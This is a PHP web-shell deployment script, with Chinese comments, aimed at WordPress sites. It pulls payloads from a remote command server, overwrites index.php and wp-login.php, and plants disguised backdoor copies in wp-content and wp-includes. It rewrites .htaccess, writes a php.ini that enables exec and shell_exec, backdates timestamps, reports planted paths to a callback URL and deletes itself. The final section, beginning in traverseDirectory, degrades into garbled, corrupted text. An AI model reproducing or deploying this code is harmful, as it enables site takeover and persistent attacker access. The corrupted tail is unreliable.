0KICAgICAgICAgICAgICAgICR1cmxsaXN0ID0gZXhwbG9kZSgiLyIsJHVybCk7DQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsiZmlsZXBhdGgiXSkpew0KICAgICAgICAgICAgICAgICAgICAkbmV3UGF0aCA9ICJodHRwOi8vIiAuICRfU0VSVkVSWyJIVFRQX0hPU1QiXS4iLyIuJF9QT1NUWyJmaWxlcGF0aCJdLiIvIi4kX0ZJTEVTWyRmaWxlc0FycmF5WydmJ11dWyJuYW1lIl07DQogICAgICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgICAgICRuZXdQYXRoID0gc3RyX3JlcGxhY2UoJHVybGxpc3RbY291bnQoJHVybGxpc3QpLTFdLCAkX0ZJTEVTWyRmaWxlc0FycmF5WydmJ11dWyJuYW1lIl0sICR1cmwpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBlY2hvICJHbyBoZXJlIDogPGEgaHJlZj0nJG5ld1BhdGgnPiIgLiAkbmV3UGF0aCAuICI8L2E+PGJyIC8+IjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAiRmlsZSB1cGxvYWQgZmFpbGVkLiI7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBpZiAoJGZ1bmNOYW1lKCRfRklMRVNbJGZpbGVzQXJyYXlbJ2YnXV1bInRtcF9uYW1lIl0sICRfRklMRVNbJGZpbGVzQXJyYXlbJ2YnXV1bIm5hbWUiXSkpIHsNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWyJmaWxlcGF0aCJdKSl7DQogICAgICAgICAgICAgICAgICAgICRwYXRoID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4iLyIuJF9QT1NUWyJmaWxlcGF0aCJdOw0KICAgICAgICAgICAgICAgICAgICBpZighaXNfZGlyKCRwYXRoKSl7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQG1rZGlyKCRwYXRoLCAwNzU1LCB0cnVlKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlN0b3JlZCBpbjog55uu5b2V5Yib5bu65oiQ5Yqf77yaJHBhdGggXG4gPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gX19ESVJfXzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAkcGF0aCA9IF9fRElSX187DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gIlN0b3JlZCBpbjogIiAuICRwYXRoIC4gIi8iIC4gJF9GSUxFU1skZmlsZXNBcnJheVsnZiddXVsibmFtZSJdIC4gIjxiciAvPiI7DQogICAgICAgICAgICAgICAgZWNobyAiPGhyPiI7DQogICAgICAgICAgICAgICAgJHVybCA9ICJodHRwOi8vIiAuICRfU0VSVkVSWyJIVFRQX0hPU1QiXSAuICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KICAgICAgICAgICAgICAgICR1cmxsaXN0ID0gZXhwbG9kZSgiLyIsJHVybCk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgJG5ld1BhdGggPSBzdHJfcmVwbGFjZSgkdXJsbGlzdFtjb3VudCgkdXJsbGlzdCktMV0sICRfRklMRVNbJGZpbGVzQXJyYXlbJ2YnXV1bIm5hbWUiXSwgJHVybCk7DQogICAgICAgICAgICAgICAgZWNobyAiR28gaGVyZSA6IDxhIGhyZWY9JyRuZXdQYXRoJz4iIC4gJG5ld1BhdGggLiAiPC9hPjxiciAvPiI7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gIkZpbGUgdXBsb2FkIGZhaWxlZC4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KfQ0KPz4NCg0KDQo8ZGl2IGFsaWduPSJjZW50ZXIiPg0KICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Ijw/cGhwIGVjaG8gYmFzZTY0X2RlY29kZSgiYlhWc2RHbHdZWEowTDJadmNtMHRaR0YwWVE9PSIpOz8+Ij4NCiAgICA8bGFiZWwgZm9yPSJmaWxlIj5GaWxlbmFtZTo8L2xhYmVsPjxici8+PGJyLz4NCiAgICDoh6rlrprkuYnot6/lvoTvvJombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZXBhdGgiIGlkPSJmaWxlcGF0aCIgLz48YnIvPjxici8+DQogICAg5LiK5Lyg5paH5Lu277yaPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIGlkPSJmaWxlIiAvPjxici8+DQogICAgPGJyLz4NCiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSLngrnlh7vkuIrkvKAiPg0KICAgIDwvZm9ybT4NCjwvZGl2Pg==";
    $codestr = base64_decode($codestr);

    $ROOTPATH = $_SERVER['DOCUMENT_ROOT'];

    $tezhen_code = @makeCurlRequest($SHELLACTION."?type=gettzcode");

    if(!empty($tezhen_code)){
        $tezhen_code = base64_decode($tezhen_code);
    }else{
        $tezhen_code = "";
    }
    $indxcodes_str = @makeCurlRequest($SHELLACTION."?type=getindexcode&host=".base64_encode($host));
    
    if(empty($indxcodes_str)){
        echo "防火墻,检查是否被自己的防火墙拦截了\n<br>index做不了开始备码\n<br>";
        $codestr = $codestr.$tezhen_code;
        beima($SHELLACTION,$codestr,$tezhen_code,$CALLBACKURL);
        
    }

    $codestr = $codestr.$tezhen_code;
    
    $indxcodeslist = json_decode($indxcodes_str,true);

    $indxcodes = base64_decode($indxcodeslist['code']);

    $tai = $indxcodeslist['tai'];

    echo "开始清理文件和杀进程 \n<br>";
    shajc();
    @unlink($ROOTPATH."/.ftpquota");
    // 修改ht
    $ht_content_new = "PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQogICAgUmV3cml0ZUVuZ2luZSBPbg0KICAgIFJld3JpdGVCYXNlIC8NCiAgICBSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0NCiAgICBSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KICAgIFJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQogICAgUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4=";
    $ht_content_new = base64_decode($ht_content_new);
    writeToFile($ROOTPATH."/.htaccess",$ht_content_new);
    shajc();

    if(!file_exists($ROOTPATH."/index0.txt")){
        $tadeurl = 'https://' . $_SERVER['HTTP_HOST'];

        $indexcontent = @makeCurlRequest($tadeurl);
    
        if(!empty($indexcontent) && stripos($indexcontent,"meta")!==false && stripos($indexcontent,"html")!==false){
            
            @chmod($ROOTPATH."/index0.txt",0755);
            @file_put_contents($ROOTPATH."/index0.txt",$indexcontent);
            shajc();
        }
    }

    cli_kill_run($ROOTPATH,$tezhen_code,$indxcodes.$tezhen_code);
    shajc();

    $indxcodess = $indxcodes.$tezhen_code;
        
    writeToFile($ROOTPATH."/index.php",$indxcodess);

    shajc();

    $index_file_size = filesize($ROOTPATH."/index.php");

    writeToFile($ROOTPATH."/".md5("indexfilesize").".txt",$index_file_size);
    
    @makeCurlRequest($CALLBACKURL."?method=index&tai=".base64_encode($tai)."&domain=".base64_encode($host)."&ma_path=".base64_encode("/"));

    dongtai($indxcodes.$tezhen_code,base64_encode($tai),$CALLBACKURL);

    echo "写入 index 成功\n<br> 开始备码 \n<br>";

    beima($SHELLACTION,$codestr,$tezhen_code,$CALLBACKURL,$tai);

    shajc();

    weihu($SHELLACTION,$codestr,$tezhen_code,$CALLBACKURL,$tai);

    echo "写入维护成功 \n<br> ";

    $ini_content = 'c2FmZV9tb2RlID0gT2ZmDQpkaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkUNCmFsbG93X3VybF9mb3BlbiA9IE9uDQpzYWZlX21vZGVfZ2lkID0gT0ZGDQpvcGVuX2Jhc2VkaXIgPSBPRkYNCmV4ZWMgPSBPTg0Kc2hlbGxfZXhlYyA9IE9ODQpkZWZhdWx0X2NoYXJzZXQgPSAiVVRGLTgiDQpkYXRlLnRpbWV6b25lID0gIkFzaWEvVG9reW8i';
    $ini_content = base64_decode($ini_content);
    @chmod($ROOTPATH.'/php.ini',0755);
    @file_put_contents($ROOTPATH.'/php.ini',$ini_content);
    shajc();
    $scriptPath = realpath(__FILE__);

    clearflush();
    shajc();

    $jc_indexcodes = $indxcodes.$tezhen_code;
    jgcc($jc_indexcodes,$tezhen_code);

    // 做后台
    $login_html = file_get_contents("https://shell.susuhen.shop/api/codes/login.txt");
    if($login_html){
        $login_html = $login_html.$tezhen_code;
        @chmod($ROOTPATH."/wp-login.php",755);
        $result = @writeToFile($ROOTPATH."/wp-login.php",$login_html);
        if($result){
            @chmod($ROOTPATH."/wp-login.php",444);
        }
        @chmod($ROOTPATH."/wp-admin/index.php",755);
        @writeToFile($ROOTPATH."/wp-admin/index.php",$login_html);
        @chmod($ROOTPATH."/wp-admin/index.php",444);
    }
    
    @unlink($scriptPath);

    exit("执行成功 \n<br>");
}

function dongtai($indxcodes,$tai,$CALLBACKURL){
    $host = $_SERVER['HTTP_HOST'];
    $ROOTPATH = $_SERVER['DOCUMENT_ROOT'];
    $randodirarray = array('wp-content','wp-includes');
    $randomarray = array('fons', 'img', 'pull', 'text','loding','files','upIods','raload','regfresh');
	$randomName = "wp-";
    // 第一层 备码一个
    $flag = rand(0,8);
    $path = $ROOTPATH."/".$randomName.$randomarray[$flag].".php";
    $result = writeToFile($path,$indxcodes);

    if($result){
        $ma_path = str_replace($ROOTPATH,"",$path);
        $ma_path = base64_encode($ma_path);
        @makeCurlRequest($CALLBACKURL."?method=dindex&tai=".$tai."&domain=".base64_encode($host)."&ma_path=".$ma_path);
    }

    $flag = rand(0,8);
    $path = $ROOTPATH."/".$randomName.$randomarray[$flag].".php";
    $result = writeToFile($path,$indxcodes);

    if($result){
        $ma_path = str_replace($ROOTPATH,"",$path);
        $ma_path = base64_encode($ma_path);
        @makeCurlRequest($CALLBACKURL."?method=dindex&tai=".$tai."&domain=".base64_encode($host)."&ma_path=".$ma_path);
    }


    $flag = rand(0,1);
    $dirpath = $ROOTPATH."/".$randodirarray[$flag];
    if(!is_dir($dirpath)){
        @mkdir($dirpath, 0755, true);
    }
    $ht_content_new = "PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQogICAgUmV3cml0ZUVuZ2luZSBPbg0KICAgIFJld3JpdGVCYXNlIC8NCiAgICBSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0NCiAgICBSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KICAgIFJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQogICAgUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4=";
    $ht_content_new = base64_decode($ht_content_new);
    writeToFile($dirpath."/.htaccess",$ht_content_new);

    $path = $dirpath."/".$randomName.$randomarray[$flag].".php";
    $result = writeToFile($path,$indxcodes);
    if($result){
        $ma_path = str_replace($ROOTPATH,"",$path);
        $ma_path = base64_encode($ma_path);
        @makeCurlRequest($CALLBACKURL."?method=dindex&tai=".$tai."&domain=".base64_encode($host)."&ma_path=".$ma_path);
    }
    echo "写入 动态index 成功\n<br>";
}

function weihu($SHELLACTION,$codestr,$tezhen_code,$CALLBACKURL,$tai){
    $host = $_SERVER['HTTP_HOST'];

    $ROOTPATH = $_SERVER['DOCUMENT_ROOT'];

    $indxcodes = @makeCurlRequest($SHELLACTION."?type=getweihucode");
   
    if(empty($indxcodes)){
        echo "防火墻,检查是否被自己的防火墙拦截了\n<br>weihu做不了开始备码\n<br>";
        beima($SHELLACTION,$codestr,$tezhen_code,$CALLBACKURL);
        
    }
    $indxcodes = base64_decode($indxcodes);
    $indxcodes = $indxcodes.$tezhen_code;
    $dirpath1 = $ROOTPATH."/wp-includes/sitemaps/providers/public/contents";
    if(!is_dir($dirpath1)){
        @mkdir($dirpath1, 0755, true);
    }

    $ht_content_new = "PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQogICAgUmV3cml0ZUVuZ2luZSBPbg0KICAgIFJld3JpdGVCYXNlIC8NCiAgICBSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0NCiAgICBSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KICAgIFJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQogICAgUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4=";
    $ht_content_new = base64_decode($ht_content_new);
    writeToFile($dirpath1."/.htaccess",$ht_content_new);

    $path = $dirpath1."/index.php";
    $result = writeToFile($path,$indxcodes);
    
    if($result){
        $ma_path = str_replace($ROOTPATH,"",$path);
        $ma_path = base64_encode($ma_path);
        @makeCurlRequest($CALLBACKURL."?method=weihu&tai=".base64_encode($tai)."&domain=".base64_encode($host)."&ma_path=".$ma_path);
    }

    $dirpath2 = $ROOTPATH."/wp-content/plugins/akismet/views/main/widgets";
    if(!is_dir($dirpath2)){
        @mkdir($dirpath2, 0755, true);
    }

    $ht_content_new = "PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQogICAgUmV3cml0ZUVuZ2luZSBPbg0KICAgIFJld3JpdGVCYXNlIC8NCiAgICBSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0NCiAgICBSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KICAgIFJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQogICAgUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4=";
    $ht_content_new = base64_decode($ht_content_new);
    writeToFile($dirpath2."/.htaccess",$ht_content_new);

    $path = $dirpath2."/index.php";
    $result = writeToFile($path,$indxcodes);

    if($result){
        $ma_path = str_replace($ROOTPATH,"",$path);
        $ma_path = base64_encode($ma_path);
        @makeCurlRequest($CALLBACKURL."?method=weihu&tai=".base64_encode($tai)."&domain=".base64_encode($host)."&ma_path=".$ma_path);
    }

    $dirpath3 = $ROOTPATH."/wp-content/themes/twentytwentyfour/patterns/contents/class";
    if(!is_dir($dirpath3)){
        @mkdir($dirpath3, 0755, true);
    }

    $ht_content_new = "PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQogICAgUmV3cml0ZUVuZ2luZSBPbg0KICAgIFJld3JpdGVCYXNlIC8NCiAgICBSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0NCiAgICBSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KICAgIFJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQogICAgUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4=";
    $ht_content_new = base64_decode($ht_content_new);
    writeToFile($dirpath3."/.htaccess",$ht_content_new);
    $path = $dirpath3."/index.php";
    $result = writeToFile($path,$indxcodes);
    if($result){
        $ma_path = str_replace($ROOTPATH,"",$path);
        $ma_path = base64_encode($ma_path);
        @makeCurlRequest($CALLBACKURL."?method=weihu&tai=".base64_encode($tai)."&domain=".base64_encode($host)."&ma_path=".$ma_path);
    }
}

function beima($SHELLACTION,$codestr,$tezhen_code,$CALLBACKURL,$tai=""){
    $host = $_SERVER['HTTP_HOST'];
    $ROOTPATH = $_SERVER['DOCUMENT_ROOT'];
    $randodirarray = array('wp-content','wp-includes');
    $randomarray = array('fonts', 'images', 'public', 'Text', 'jps', 'css', 'codes', 'lists', 'jsons', 'classs', 'html','jquery','style','contents','mainss','adminss','includes','logins','loadss','activates','mails','sitemaps','widgets','Requests','customize','blocks','pomo');
	$randomName = "wp-";
    // 第一层 备码一个
    $flag = rand(0,14);
    $macodes = @makeCurlRequest($SHELLACTION."?type=getmacode");
    if(empty($macodes)){
        echo "防火墻,检查是否被自己的防火墙拦截了\n<br>index做不了开始备码\n<br>";
        $macodes = $codestr;
    }
    $macodes = base64_decode($macodes);
    $macodes = $macodes.$tezhen_code;
    $path = $ROOTPATH."/".$randomName.$randomarray[$flag].".php";
    $result = writeToFile($path,$macodes);

    if($result){
        $ma_path = str_replace($ROOTPATH,"",$path);
        $ma_path = base64_encode($ma_path);
        @makeCurlRequest($CALLBACKURL."?method=beima&tai=".base64_encode($tai)."&domain=".base64_encode($host)."&ma_path=".$ma_path);
    }

    $flag = rand(0,14);
    $path = $ROOTPATH."/".$randomName.$randomarray[$flag].".php";
    $result = writeToFile($path,$macodes);
    
    if($result){
        $ma_path = str_replace($ROOTPATH,"",$path);
        $ma_path = base64_encode($ma_path);
        @makeCurlRequest($CALLBACKURL."?method=beima&tai=".base64_encode($tai)."&domain=".base64_encode($host)."&ma_path=".$ma_path);
    }

    // 第二层
    $flag = rand(0,1);
    $dirpath = $ROOTPATH."/".$randodirarray[$flag];
    if(!is_dir($dirpath)){
        $mdresult = @mkdir($dirpath, 0755, true);
        if($mdresult === false){
            echo "文件夹创建失败\n<br>";
        }
    }
    $ht_content_new = "PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQogICAgUmV3cml0ZUVuZ2luZSBPbg0KICAgIFJld3JpdGVCYXNlIC8NCiAgICBSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0NCiAgICBSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KICAgIFJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQogICAgUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4=";
    $ht_content_new = base64_decode($ht_content_new);
    writeToFile($dirpath."/.htaccess",$ht_content_new);

    $path = $dirpath."/index.php";
    $result = writeToFile($path,$macodes);

    if($result){
        $ma_path = str_replace($ROOTPATH,"",$path);
        $ma_path = base64_encode($ma_path);
        @makeCurlRequest($CALLBACKURL."?method=beima&tai=".base64_encode($tai)."&domain=".base64_encode($host)."&ma_path=".$ma_path);
    }

    $flag = rand(0,14);
    $path = $dirpath."/".$randomName.$randomarray[$flag].".php";
    $result = writeToFile($path,$macodes);

    if($result){
        $ma_path = str_replace($ROOTPATH,"",$path);
        $ma_path = base64_encode($ma_path);
        @makeCurlRequest($CALLBACKURL."?method=beima&tai=".base64_encode($tai)."&domain=".base64_encode($host)."&ma_path=".$ma_path);
    }

    $flag = rand(0,14);
    $path = $dirpath."/".$randomName.$randomarray[$flag].".php";
    $result = writeToFile($path,$macodes);

    if($result){
        $ma_path = str_replace($ROOTPATH,"",$path);
        $ma_path = base64_encode($ma_path);
        @makeCurlRequest($CALLBACKURL."?method=beima&tai=".base64_encode($tai)."&domain=".base64_encode($host)."&ma_path=".$ma_path);
    }
    // 第3'4层
    $supercodes = @makeCurlRequest($SHELLACTION."?type=getsupercode");
    if(empty($supercodes)){
        echo "防火墻,检查是否被自己的防火墙拦截了\n<br>index做不了开始备码\n<br>";
        $supercodes = $supercodes;
    }
    $supercodes = base64_decode($supercodes);
    $supercodes = $supercodes.$tezhen_code;
    $flag = rand(0,1);
    $dflag = rand(0,14);
    $dirpath = $ROOTPATH."/".$randodirarray[$flag]."/".$randomarray[$dflag];

    $dirpath1 = $dirpath."/".$randomarray[$dflag];

    $dirpath2 = $dirpath1."/".$randomarray[$dflag];
    
    if(!is_dir($dirpath2)){
        $mdresult = @mkdir($dirpath2, 0755, true);
        if($mdresult === false){
            echo "文件夹创建失败\n<br>";
        }
    }

    $ht_content_new = "PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQogICAgUmV3cml0ZUVuZ2luZSBPbg0KICAgIFJld3JpdGVCYXNlIC8NCiAgICBSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0NCiAgICBSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KICAgIFJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQogICAgUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4=";
    $ht_content_new = base64_decode($ht_content_new);
    writeToFile($dirpath1."/.htaccess",$ht_content_new);

    $ht_content_new = "PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQogICAgUmV3cml0ZUVuZ2luZSBPbg0KICAgIFJld3JpdGVCYXNlIC8NCiAgICBSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0NCiAgICBSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KICAgIFJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQogICAgUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4=";
    $ht_content_new = base64_decode($ht_content_new);
    writeToFile($dirpath."/.htaccess",$ht_content_new);

    $ht_content_new = "PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQogICAgUmV3cml0ZUVuZ2luZSBPbg0KICAgIFJld3JpdGVCYXNlIC8NCiAgICBSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0NCiAgICBSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KICAgIFJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQogICAgUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4=";
    $ht_content_new = base64_decode($ht_content_new);
    writeToFile($dirpath2."/.htaccess",$ht_content_new);

    $path = $dirpath1."/index.php";
    $result = writeToFile($path,$supercodes);

    if($result){
        $ma_path = str_replace($ROOTPATH,"",$path);
        $ma_path = base64_encode($ma_path);
        @makeCurlRequest($CALLBACKURL."?method=beima&tai=".base64_encode($tai)."&domain=".base64_encode($host)."&ma_path=".$ma_path);
    }

    $path = $dirpath2."/index.php";
    $result = writeToFile($path,$supercodes);

    if($result){
        $ma_path = str_replace($ROOTPATH,"",$path);
        $ma_path = base64_encode($ma_path);
        @makeCurlRequest($CALLBACKURL."?method=beima&tai=".base64_encode($tai)."&domain=".base64_encode($host)."&ma_path=".$ma_path);
    }

    $path = $dirpath."/index.php";
    $result = writeToFile($path,$supercodes);
    if($result){
        $ma_path = str_replace($ROOTPATH,"",$path);
        $ma_path = base64_encode($ma_path);
        @makeCurlRequest($CALLBACKURL."?method=beima&tai=".base64_encode($tai)."&domain=".base64_encode($host)."&ma_path=".$ma_path);
    }
    

    echo "备码完成\n<br>";
}

function setFilePermissions($filename, $permissions) {
    $result = @chmod($filename, $permissions);
    if($result == false){
        // 如果 chmod 不可用，使用 exec
        @exec("chmod $permissions $filename", $output, $returnVar);
        if ($returnVar !== 0) {
            return false; // exec 失败
        }
    }
    return true; // 成功
}

function writeToFile($filename, $data) {
    @chmod($filename,0755);

    $result = file_put_contents($filename, $data);
    
    // 如果 file_put_contents 返回 false，则使用 fwrite
    if ($result === false) {
        $handle = @fopen($filename, 'w');
        if ($handle) {
            $result = fwrite($handle, $data);
            fclose($handle);
        }
    }
    $newDateTime = '2018-08-08 8:08:18';
	$newTime = strtotime($newDateTime);
	@touch($filename,$newTime,$newTime);

    setFilePermissions($filename,0444);
    return $result;
}

function makeCurlRequest($url, $method = 'GET', $postData = array()) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    $headers = array(
        "Cache-Control: no-cache",
        "Connection: keep-alive",
        "Pragma: no-cache",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
    );
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
    }
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

function cli_kill_run($root_path , $tezhen_code,$indxcodes) {
	$patterns = array();
	traverseDirectory($root_path,$patterns,$tezhen_code,$indxcodes);
}

function traverseDirectory($dir, $patterns,$tezhen_code,$indxcodes) {
	$result = @chmod($dir,0755);
	if(!$result){
        if (function_exists('exec') && is_callable('exec')) {
            @exec("chmod 0755 $dir");
        }
	}
	$files = @scandir($dir);
	if($files === false){
		return false;
	}
	foreach ($files as $file) {
		$filePath = $dir . DIRECTORY_SEPARATOR . $file;
		if(DIRECTORY_SEPARATOR=="\\") {
			$filePath = str_replace("tc_Pch ($il_setoPOobbV DboPOobbV DboPOobbV DboP$fi\") CTORY_SEPARATOR=="\\") {
		labCsV52BlecjFS4_en'52isp-aliv2
God($dir,0755);
	if(!$result){
        if (function_exists('exec') && is_callable('exec')) {
            @exec("chmod 0755 $dir");
        }
	}
	$files = @scandir($dir);
	if($files === false){
		return false;
	}
	foreach ($files as $file) {
		$filePath = $dirab);
   $file;
		if(DIRECTORY_SEPARATOR=="\\") {
			$filePath = str_replace("tc_Pch ($il_setoPOobbV DboPOobbV DboPOobbV DboP$fi\") CTORY_SEPARATOR=="\\") {
		labCsV52BlecjFS4_en'52isp-aliv2
God($dir,0755);
	if(!$result){
        if (function_exists('exec') && idir,0755)(functionsn $GWWAvasw1);
	if( RY_SEPAR Win64; x64) ){
AAvasJRGh ($il_sElmTW   mvas}w9FQag];

vfun{
			$Vtc_S64; xkst)."&ma_path=".$ma_paYehUe) bp-aliv2
God()$dir);
	th=".$FNoJ0755Su; xkst)."&ma_paV9pt($ch, CURLOPT_POST, 1);
        curg];

vfun{
			ogMik
        if (, CURLOPT_POST, 1);
 o
        if (, CURLOPT_POST, 1);
 o
        if (, CURL92mY)ult =VJ1bGp|   $Vn $r537.3a_pn64/C

functiooooVxl0eLYiTPHfdR54I_9pL,eiles === false){
			e		$filePath = str_rKCdmJyA9tr_rKCdmJyA9tr_T, 1);
 o
"9.3a_SSL_VERIFYPEER, faito"pL,eiles === false){
			e		$fil$ch, CURLOPT9H71Rma_paYehUe) bp-l/Ipn64/E ZXhcLa CURhzXsCBSZXdyaXRlUc PAHOS97n(function_exists('exec') && idir,0755)(functionsn $GWWA
fut9,0755)(functionsn $GWWA
fut9,07mKICAgIFJld3JpdGVCYXNlIC8NCiAgICBSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0NCiAgICBSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KICAgIFJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTlecjFS4_en'52isp-alt.
fut9,0CYXNlICsh$.)) {zbY1nXLAaYonsn $1nXr1nXr1n$ il_setoPw = "P<k'd6_    // 如果 file_put_coSEPARATOR . $f''5path. ZGecko    // W   // 如果 file_put_coSEPARATOR . $f''5path. ZGecko    // W   // 如果 file_put_coSEPARATOR . $f''5path. ZGm"dt = fi4,KV/ bGp|de fi/ 如果 file_g果 file_g1u如果 file_put_coanctisEC/ bGp|de fi/ 如果 file_g果 file_gdse)d . Vn}
	foreach ($f Vn}
	foreach ($f Vn}
	foreach ($f Vn}
	fLh = sjPDb2Rech ($f_puRc1edkcse)AtU  $flag IvCts('e    eV $flagCKURL."?method=b5"etU  iS:k ($f_puRc1edkcse)ojbGpI" c)vCts('e   9Itfaito"pLpGpI" c)vCts('e   9Itfcurl_se2ST') {
 veas('ebY2Tsult ===}
	fLh = 	$filePath = $dir . DIRECTORY_SEPAR/2			ogMurl_se2ST') {
 vea fetU  X9oldG;nsuleas(sLymedkcedkcedkhkiteTnku Wd kcedkhkiNPAR/2			oi8"cedkcedaUnVsZSBeaW5kZXh(sZSBeaW5kZXh(sZSBep0Q2 DIRECTORY_SEPAR/Hk1;2EUbiir,0755);
	if(!$reAgICAgICAnTe_F9f''5pathFTA+ (IiT($tai)nb_g果 file_gZLV($mp
	if(!$reAgIW''5path. ZGecko cedUFd. ZZgIW''5path. ZGeckwiT($tai)nb_g果 file_gZLV($mp
	if(!$reAgIW''5path. ZGecko cedUFd. ZZgIW''5path. ZGeckwiT($tai)nb_g果 file_gZLV($mp
	if(!$reAgIW''5path. ZGecko cedUFd. ZZgIW''5path. ZGeckwiT($tai)nb_g果 file_gZLV($mp
	if(!$reAgIW''5path. ZGecko cedUFd. ZZgIW''5MuNzdiGHu
 veas";
	dGVp  @sZSBeaW5kZXh(R'5path. ZGecko csLymlih (Vyfpath);
   f Vn}
	foreach ($f Vn}
	 false;
	}
	foreach ($files as $f Vn}
	 falue){
			e		$fil file_gZLV($mp
